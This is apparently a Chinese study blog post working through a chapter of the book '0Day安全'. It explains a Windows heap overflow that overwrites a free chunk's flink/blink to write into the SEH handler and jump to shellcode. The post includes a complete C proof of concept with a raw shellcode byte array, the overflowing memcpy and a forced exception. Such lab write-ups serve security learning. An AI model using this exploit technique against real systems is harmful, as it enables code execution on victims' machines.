记录学习《0Day安全》路上遇到的问题解决方案: 阶段性总结-重重保护下的堆!

if __author__ == "lit0":

0x00 前言

转眼学习这本书已经到了第二篇末尾最后一章也是较难的一章,虽然没有碰到什么大问题,不合这个系列标题所说的问题解决方案,但还是写一些自己学习的一些理解,尤其是堆。很有趣啊!
记录一下关于堆的一些理解

0x01正文- 利用chunk重设大小攻击堆

微软对于堆双向链表的释放做了验证(验证释放时前后指针是否指向node而不是被破坏了)
然而并没有对插入进行验证~~,如果h1申请了大小为16的空间,那么堆就会分配空间,形成新的chunk(空闲块),并插入到链表里!!而h1的尾巴就会跟着大空闲块(不理解的看看操作系统),h1溢出(堆溢出)时,就会覆盖后面的空闲块,当块首被覆盖,地址也就被覆盖,这就给了我们机会

这里写图片描述
这里写图片描述

也就是说插入链表的过程中,会导致任意位置写入固定值的漏洞。

2.利用 - 通过dword shoot 向seh写入flink(把flink的地址写入seh),构造成0x003506EB, EB 06 正好是短跳地址,再制造异常,使程序转入执行短跳,在短跳的目的处构造短跳,跳过垃圾值,到达shellcode执行

这里写图片描述
1.eax 指向申请的h1的首部 0x00350688
2.执行完 00401050 处的 memcpy 函数后覆盖下一chunk(空闲块)的首地址,将其伪造成0x003506eb, 执行h2的申请就会将flink的地址写入seh。
这里写图片描述

已经替换成0x003506B8,一旦异常就会转入此地址,执行构造好的 EB 06 构造一个跳转目的地址为一个跳转地址,转入执行shellcode

3.shellcode 如下:

#include <stdio.h>
#include <windows.h>
void main()
{
    char shellcode[]=
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x10\x01\x10\x00\x99\x99\x99\x99"
        "\xEB\x06\x35\x00\xEB\x06\x35\x00"  // 此为新chunk的flink 和 blink,覆盖为EB 06 短跳
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\xEB\x31\x90\x90\x90\x90\x90\x90"  //短跳,跳过下面代码,执行shellcode
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x11\x01\x10\x00\x99\x99\x99\x99"
        "\x8C\x06\x35\x00\xB4\xFF\x12\x00"  // blink 伪造成seh地址
        // 下面是shellcode程序
        "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
        "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
        "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
        "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
        "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
        "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
        "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
        "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
        "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
        "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
        "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
    HLOCAL h1,h2;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000); 
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
    __asm int 3
    memcpy(h1,shellcode,300);
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
    int zero=0;
    zero=1/zero;
    printf("%d",zero);
}

在此设置断点:
这里写图片描述

0x003506B8上的 003506EB

这里写图片描述

短跳至此处:

这里写图片描述

转入shellcode:

这里写图片描述

成功执行

这里写图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值